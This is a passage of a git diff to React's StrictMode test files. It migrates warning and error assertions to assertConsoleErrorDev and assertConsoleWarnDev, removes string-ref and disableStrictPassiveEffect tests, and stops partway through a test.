+    await act(() => {
+      triggerHookTransition(() => {
+        subs.forEach(setState => {
+          setState(state => state + 1);
         });
       });
-    }).toWarnDev(
-      [
-        'Detected a large number of updates inside startTransition. ' +
-          'If this is due to a subscription please re-write it to use React provided hooks. ' +
-          'Otherwise concurrent mode guarantees are off the table.',
-      ],
-      {withoutStack: true},
-    );
+    });
+    assertConsoleWarnDev([
+      'Detected a large number of updates inside startTransition. ' +
+        'If this is due to a subscription please re-write it to use React provided hooks. ' +
+        'Otherwise concurrent mode guarantees are off the table.',
+    ]);
   });
 });
diff --git a/packages/react/src/__tests__/ReactStrictMode-test.internal.js b/packages/react/src/__tests__/ReactStrictMode-test.internal.js
index ed9ee7027964..28ac8a997449 100644
--- a/packages/react/src/__tests__/ReactStrictMode-test.internal.js
+++ b/packages/react/src/__tests__/ReactStrictMode-test.internal.js
@@ -104,64 +104,51 @@ describe('ReactStrictMode', () => {
         ]);
       });
 
-      // @gate enableDO_NOT_USE_disableStrictPassiveEffect
-      it('should include legacy + strict effects mode, but not strict passive effect with disableStrictPassiveEffect', async () => {
+      it('should allow level to be increased with nesting', async () => {
         await act(() => {
           const container = document.createElement('div');
           const root = ReactDOMClient.createRoot(container);
           root.render(
-            <React.StrictMode DO_NOT_USE_disableStrictPassiveEffect={true}>
+            <>
               <Component label="A" />
-            </React.StrictMode>,
-          );
-        });
-
-        expect(log).toEqual([
-          'A: render',
-          'A: render',
-          'A: useLayoutEffect mount',
-          'A: useEffect mount',
-          'A: useLayoutEffect unmount',
-          'A: useLayoutEffect mount',
-        ]);
-      });
-
-      // @gate enableDO_NOT_USE_disableStrictPassiveEffect
-      it('should include legacy + strict effects mode, but not strict passive effect with disableStrictPassiveEffect in Suspense', async () => {
-        await act(() => {
-          const container = document.createElement('div');
-          const root = ReactDOMClient.createRoot(container);
-          root.render(
-            <React.StrictMode DO_NOT_USE_disableStrictPassiveEffect={true}>
-              <React.Suspense>
-                <Component label="A" />
-              </React.Suspense>
-            </React.StrictMode>,
+              <React.StrictMode>
+                <Component label="B" />,
+              </React.StrictMode>
+              ,
+            </>,
           );
         });
 
         expect(log).toEqual([
           'A: render',
-          'A: render',
+          'B: render',
+          'B: render',
           'A: useLayoutEffect mount',
+          'B: useLayoutEffect mount',
           'A: useEffect mount',
-          'A: useLayoutEffect unmount',
-          'A: useLayoutEffect mount',
+          'B: useEffect mount',
+          'B: useLayoutEffect unmount',
+          'B: useEffect unmount',
+          'B: useLayoutEffect mount',
+          'B: useEffect mount',
         ]);
       });
 
-      it('should allow level to be increased with nesting', async () => {
+      it('should support nested strict mode on initial mount', async () => {
+        function Wrapper({children}) {
+          return children;
+        }
         await act(() => {
           const container = document.createElement('div');
           const root = ReactDOMClient.createRoot(container);
           root.render(
-            <>
+            <Wrapper>
               <Component label="A" />
               <React.StrictMode>
                 <Component label="B" />,
               </React.StrictMode>
               ,
-            </>,
+            </Wrapper>,
           );
         });
 
@@ -173,10 +160,11 @@ describe('ReactStrictMode', () => {
           'B: useLayoutEffect mount',
           'A: useEffect mount',
           'B: useEffect mount',
-          'B: useLayoutEffect unmount',
-          'B: useEffect unmount',
-          'B: useLayoutEffect mount',
-          'B: useEffect mount',
+          // TODO: this is currently broken
+          // 'B: useLayoutEffect unmount',
+          // 'B: useEffect unmount',
+          // 'B: useLayoutEffect mount',
+          // 'B: useEffect mount',
         ]);
       });
     }
diff --git a/packages/react/src/__tests__/ReactStrictMode-test.js b/packages/react/src/__tests__/ReactStrictMode-test.js
index 201eff9c4106..8fc11f06a31d 100644
--- a/packages/react/src/__tests__/ReactStrictMode-test.js
+++ b/packages/react/src/__tests__/ReactStrictMode-test.js
@@ -18,8 +18,8 @@ let act;
 let useMemo;
 let useState;
 let useReducer;
-
-const ReactFeatureFlags = require('shared/ReactFeatureFlags');
+let assertConsoleErrorDev;
+let assertConsoleWarnDev;
 
 describe('ReactStrictMode', () => {
   beforeEach(() => {
@@ -28,7 +28,11 @@ describe('ReactStrictMode', () => {
     ReactDOM = require('react-dom');
     ReactDOMClient = require('react-dom/client');
     ReactDOMServer = require('react-dom/server');
-    act = require('internal-test-utils').act;
+    ({
+      act,
+      assertConsoleErrorDev,
+      assertConsoleWarnDev,
+    } = require('internal-test-utils'));
     useMemo = React.useMemo;
     useState = React.useState;
     useReducer = React.useReducer;
@@ -41,20 +45,19 @@ describe('ReactStrictMode', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(
-          <React.StrictMode>
-            <Foo />
-          </React.StrictMode>,
-        );
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(
+        <React.StrictMode>
+          <Foo />
+        </React.StrictMode>,
+      );
+    });
+    assertConsoleErrorDev([
       'Invalid ARIA attribute `ariaTypo`. ' +
         'ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in div (at **)\n' +
         '    in Foo (at **)',
-    );
+    ]);
   });
 
   it('should appear in the SSR component stack', () => {
@@ -62,18 +65,17 @@ describe('ReactStrictMode', () => {
       return <div ariaTypo="" />;
     }
 
-    expect(() => {
-      ReactDOMServer.renderToString(
-        <React.StrictMode>
-          <Foo />
-        </React.StrictMode>,
-      );
-    }).toErrorDev(
+    ReactDOMServer.renderToString(
+      <React.StrictMode>
+        <Foo />
+      </React.StrictMode>,
+    );
+    assertConsoleErrorDev([
       'Invalid ARIA attribute `ariaTypo`. ' +
         'ARIA attributes follow the pattern aria-* and must be lowercase.\n' +
         '    in div (at **)\n' +
         '    in Foo (at **)',
-    );
+    ]);
   });
 
   // @gate __DEV__
@@ -203,7 +205,7 @@ describe('ReactStrictMode', () => {
     expect(instance.state.count).toBe(2);
   });
 
-  // @gate debugRenderPhaseSideEffectsForStrictMode
+  // @gate __DEV__
   it('double invokes useState and useReducer initializers functions', async () => {
     const log = [];
 
@@ -391,7 +393,7 @@ describe('ReactStrictMode', () => {
     expect(instance.state.count).toBe(2);
   });
 
-  // @gate debugRenderPhaseSideEffectsForStrictMode
+  // @gate __DEV__
   it('double invokes useMemo functions', async () => {
     let log = [];
 
@@ -437,7 +439,7 @@ describe('ReactStrictMode', () => {
     ]);
   });
 
-  // @gate debugRenderPhaseSideEffectsForStrictMode
+  // @gate __DEV__
   it('double invokes useMemo functions with first result', async () => {
     let log = [];
     function Uppercased({text}) {
@@ -500,7 +502,7 @@ describe('ReactStrictMode', () => {
     expect(log[2]).toBe(log[3]);
   });
 
-  // @gate debugRenderPhaseSideEffectsForStrictMode
+  // @gate __DEV__
   it('double invokes setState updater functions', async () => {
     const log = [];
 
@@ -533,7 +535,7 @@ describe('ReactStrictMode', () => {
     expect(log).toEqual(['Compute count: 1', 'Compute count: 1']);
   });
 
-  // @gate debugRenderPhaseSideEffectsForStrictMode
+  // @gate __DEV__
   it('double invokes reducer functions', async () => {
     const log = [];
 
@@ -621,31 +623,25 @@ describe('Concurrent Mode', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(
-      async () => await act(() => root.render(<StrictRoot />)),
-    ).toErrorDev(
-      [
-        /* eslint-disable max-len */
-        `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+    await act(() => root.render(<StrictRoot />));
+    assertConsoleErrorDev([
+      `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move code with side effects to componentDidMount, and set initial state in the constructor.
 
 Please update the following components: App`,
-        `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state
 
 Please update the following components: Bar, Foo`,
-        `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 
 Please update the following components: App`,
-        /* eslint-enable max-len */
-      ],
-      {withoutStack: true},
-    );
+    ]);
 
     // Dedupe
     await act(() => root.render(<App />));
@@ -684,58 +680,46 @@ Please update the following components: App`,
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
 
-    await expect(async () => {
-      await expect(
-        async () => await act(() => root.render(<StrictRoot />)),
-      ).toErrorDev(
-        [
-          /* eslint-disable max-len */
-          `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+    await act(() => root.render(<StrictRoot />));
+    assertConsoleErrorDev([
+      `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move code with side effects to componentDidMount, and set initial state in the constructor.
 
 Please update the following components: App`,
-          `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state
 
 Please update the following components: Child`,
-          `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 
 Please update the following components: App`,
-          /* eslint-enable max-len */
-        ],
-        {withoutStack: true},
-      );
-    }).toWarnDev(
-      [
-        /* eslint-disable max-len */
-        `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+    ]);
+    assertConsoleWarnDev([
+      `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move code with side effects to componentDidMount, and set initial state in the constructor.
 * Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: Parent`,
-        `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state
 * Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: Parent`,
-        `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
+      `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.
 
 * Move data fetching code or side effects to componentDidUpdate.
 * Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \`npx react-codemod rename-unsafe-lifecycles\` in your project source folder.
 
 Please update the following components: Parent`,
-        /* eslint-enable max-len */
-      ],
-      {withoutStack: true},
-    );
+    ]);
     // Dedupe
     await act(() => root.render(<StrictRoot />));
   });
@@ -759,19 +743,21 @@ Please update the following components: Parent`,
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => root.render(<StrictRoot foo={true} />));
-    }).toErrorDev(
-      'Using UNSAFE_componentWillMount in strict mode is not recommended',
-      {withoutStack: true},
-    );
+    await act(() => root.render(<StrictRoot foo={true} />));
+    assertConsoleErrorDev([
+      'Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n\n' +
+        'Please update the following components: Foo',
+    ]);
 
-    await expect(async () => {
-      await act(() => root.render(<StrictRoot foo={false} />));
-    }).toErrorDev(
-      'Using UNSAFE_componentWillMount in strict mode is not recommended',
-      {withoutStack: true},
-    );
+    await act(() => root.render(<StrictRoot foo={false} />));
+    assertConsoleErrorDev([
+      'Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\n\n' +
+        'Please update the following components: Bar',
+    ]);
 
     // Dedupe
     await act(() => root.render(<StrictRoot foo={true} />));
@@ -817,14 +803,19 @@ Please update the following components: Parent`,
     const container = document.createElement('div');
 
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<SyncRoot />);
-      });
-    }).toErrorDev(
-      'Using UNSAFE_componentWillReceiveProps in strict mode is not recommended',
-      {withoutStack: true},
-    );
+    await act(() => {
+      root.render(<SyncRoot />);
+    });
+    assertConsoleErrorDev([
+      'Using UNSAFE_componentWillReceiveProps in strict mode is not recommended ' +
+        'and may indicate bugs in your code. ' +
+        'See https://react.dev/link/unsafe-component-lifecycles for details.\n\n' +
+        '* Move data fetching code or side effects to componentDidUpdate.\n' +
+        "* If you're updating state whenever props change, " +
+        'refactor your code to use memoization techniques or move it to ' +
+        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n\n' +
+        'Please update the following components: Bar, Foo',
+    ]);
 
     // Dedupe
     await act(() => {
@@ -961,55 +952,6 @@ describe('symbol checks', () => {
   });
 });
 
-describe('string refs', () => {
-  beforeEach(() => {
-    jest.resetModules();
-    React = require('react');
-    ReactDOM = require('react-dom');
-    ReactDOMClient = require('react-dom/client');
-    act = require('internal-test-utils').act;
-  });
-
-  // @gate !disableStringRefs
-  it('should warn within a strict tree', async () => {
-    const {StrictMode} = React;
-
-    class OuterComponent extends React.Component {
-      render() {
-        return (
-          <StrictMode>
-            <InnerComponent ref="somestring" />
-          </StrictMode>
-        );
-      }
-    }
-
-    class InnerComponent extends React.Component {
-      render() {
-        return null;
-      }
-    }
-
-    const container = document.createElement('div');
-    const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<OuterComponent />);
-      });
-    }).toErrorDev(
-      'Component "OuterComponent" contains the string ref "somestring". ' +
-        'Support for string refs will be removed in a future major release. ' +
-        'We recommend using useRef() or createRef() instead. ' +
-        'Learn more about using refs safely here: https://react.dev/link/strict-mode-string-ref\n' +
-        '    in InnerComponent (at **)',
-    );
-
-    await act(() => {
-      root.render(<OuterComponent />);
-    });
-  });
-});
-
 describe('context legacy', () => {
   beforeEach(() => {
     jest.resetModules();
@@ -1078,11 +1020,25 @@ describe('context legacy', () => {
 
     const container = document.createElement('div');
     const root = ReactDOMClient.createRoot(container);
-    await expect(async () => {
-      await act(() => {
-        root.render(<Root />);
-      });
-    }).toErrorDev(
+    await act(() => {
+      root.render(<Root />);
+    });
+
+    assertConsoleErrorDev([
+      'LegacyContextProvider uses the legacy childContextTypes API ' +
+        'which will soon be removed. Use React.createContext() instead. ' +
+        '(https://react.dev/link/legacy-context)' +
+        '\n    in Root (at **)',
+      'LegacyContextConsumer uses the legacy contextTypes API which ' +
+        'will soon be removed. Use React.createContext() with static ' +
+        'contextType instead. (https://react.dev/link/legacy-context)' +
+        '\n    in LegacyContextProvider (at **)' +
+        '\n    in Root (at **)',
+      'FunctionalLegacyContextConsumer uses the legacy contextTypes ' +
+        'API which will be removed soon. Use React.createContext() ' +
+        'with React.useContext() instead. (https://react.dev/link/legacy-context)' +
+        '\n    in LegacyContextProvider (at **)' +
+        '\n    in Root (at **)',
       'Legacy context API has been detected within a strict-mode tree.' +
         '\n\nThe old API will be supported in all 16.x releases, but applications ' +
         'using it should migrate to the new version.' +
@@ -1090,10 +1046,8 @@ describe('context legacy', () => {
         'FunctionalLegacyContextConsumer, LegacyContextConsumer, LegacyContextProvider' +
         '\n\nLearn more about this warning here: ' +
         'https://react.dev/link/legacy-context' +
-        '\n    in LegacyContextProvider (at **)' +
-        '\n    in div (at **)' +
         '\n    in Root (at **)',
-    );
+    ]);
 
     // Dedupe
     await act(() => {
@@ -1116,450 +1070,228 @@ describe('context legacy', () => {
       console.log.mockRestore();
     });
 
-    if (ReactFeatureFlags.consoleManagedByDevToolsDuringStrictMode) {
-      it('does not disable logs for class double render', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          render() {
-            count++;
-            console.log('foo ' + count);
-            return null;
-          }
+    it('does not disable logs for class double render', async () => {
+      let count = 0;
+      class Foo extends React.Component {
+        render() {
+          count++;
+          console.log('foo ' + count);
+          return null;
         }
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-      it('does not disable logs for class double ctor', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          constructor(props) {
-            super(props);
-            count++;
-            console.log('foo ' + count);
-          }
-          render() {
-            return null;
-          }
+    it('does not disable logs for class double ctor', async () => {
+      let count = 0;
+      class Foo extends React.Component {
+        constructor(props) {
+          super(props);
+          count++;
+          console.log('foo ' + count);
         }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
-      });
-
-      it('does not disable logs for class double getDerivedStateFromProps', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          static getDerivedStateFromProps() {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          }
-          render() {
-            return null;
-          }
+        render() {
+          return null;
         }
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-      it('does not disable logs for class double shouldComponentUpdate', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          shouldComponentUpdate() {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          }
-          render() {
-            return null;
-          }
+    it('does not disable logs for class double getDerivedStateFromProps', async () => {
+      let count = 0;
+      class Foo extends React.Component {
+        state = {};
+        static getDerivedStateFromProps() {
+          count++;
+          console.log('foo ' + count);
+          return {};
         }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
-      });
-
-      it('does not disable logs for class state updaters', async () => {
-        let inst;
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          render() {
-            inst = this;
-            return null;
-          }
+        render() {
+          return null;
         }
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        await act(() => {
-          inst.setState(() => {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          });
-        });
-
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-      it('does not disable logs for function double render', async () => {
-        let count = 0;
-        function Foo() {
+    it('does not disable logs for class double shouldComponentUpdate', async () => {
+      let count = 0;
+      class Foo extends React.Component {
+        state = {};
+        shouldComponentUpdate() {
           count++;
           console.log('foo ' + count);
-          return null;
+          return {};
         }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
-      });
-
-      it('does not disable logs for effect double invoke', async () => {
-        let create = 0;
-        let cleanup = 0;
-        function Foo() {
-          React.useEffect(() => {
-            create++;
-            console.log('foo create ' + create);
-            return () => {
-              cleanup++;
-              console.log('foo cleanup ' + cleanup);
-            };
-          });
+        render() {
           return null;
         }
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(create).toBe(__DEV__ ? 2 : 1);
-        expect(cleanup).toBe(__DEV__ ? 1 : 0);
-        expect(console.log).toBeCalledTimes(__DEV__ ? 3 : 1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo create 1');
-        if (__DEV__) {
-          expect(console.log).toBeCalledWith('foo cleanup 1');
-        }
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
-    } else {
-      it('disable logs for class double render', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          render() {
-            count++;
-            console.log('foo ' + count);
-            return null;
-          }
-        }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
 
-      it('disables logs for class double ctor', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          constructor(props) {
-            super(props);
-            count++;
-            console.log('foo ' + count);
-          }
-          render() {
-            return null;
-          }
-        }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
-      });
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-      it('disable logs for class double getDerivedStateFromProps', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          static getDerivedStateFromProps() {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          }
-          render() {
-            return null;
-          }
+    it('does not disable logs for class state updaters', async () => {
+      let inst;
+      let count = 0;
+      class Foo extends React.Component {
+        state = {};
+        render() {
+          inst = this;
+          return null;
         }
+      }
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      const container = document.createElement('div');
+      const root = ReactDOMClient.createRoot(container);
+      await act(() => {
+        root.render(
+          <React.StrictMode>
+            <Foo />
+          </React.StrictMode>,
+        );
       });
-
-      it('disable logs for class double shouldComponentUpdate', async () => {
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          shouldComponentUpdate() {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          }
-          render() {
-            return null;
-          }
-        }
-
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
+      await act(() => {
+        inst.setState(() => {
+          count++;
+          console.log('foo ' + count);
+          return {};
         });
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
       });
 
-      it('disable logs for class state updaters', async () => {
-        let inst;
-        let count = 0;
-        class Foo extends React.Component {
-          state = {};
-          render() {
-            inst = this;
-            return null;
-          }
-        }
+      expect(count).toBe(__DEV__ ? 2 : 1);
+      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);
+      // Note: we should display the first log because otherwise
+      // there is a risk of suppressing warnings when they happen,
+      // and on the next render they'd get deduplicated and ignored.
+      expect(console.log).toBeCalledWith('foo 1');
+    });
 
-        const container = document.createElement('div');
-        const root = ReactDOMClient.createRoot(container);
-        await act(() => {
-          root.render(
-            <React.StrictMode>
-              <Foo />
-            </React.StrictMode>,
-          );
-        });
-        await act(() => {
-          inst.setState(() => {
-            count++;
-            console.log('foo ' + count);
-            return {};
-          });
-        });
+    it('does not disable logs for function double render', async () => {
+      let count = 0;
+      function Foo() {
+        count++;
+        console.log('foo ' + count);
+        return null;
+      }
 
-        expect(count).toBe(__DEV__ ? 2 : 1);
-        expect(console.log).toBeCalledTimes(1);
-        // Note: we should display the first log because otherwise
-        // there is a risk of suppressing warnings when they happen,
-        // and on the next render they'd get deduplicated and ignored.
-        expect(console.log).toBeCalledWith('foo 1');
+      const container = document.createElement('div');
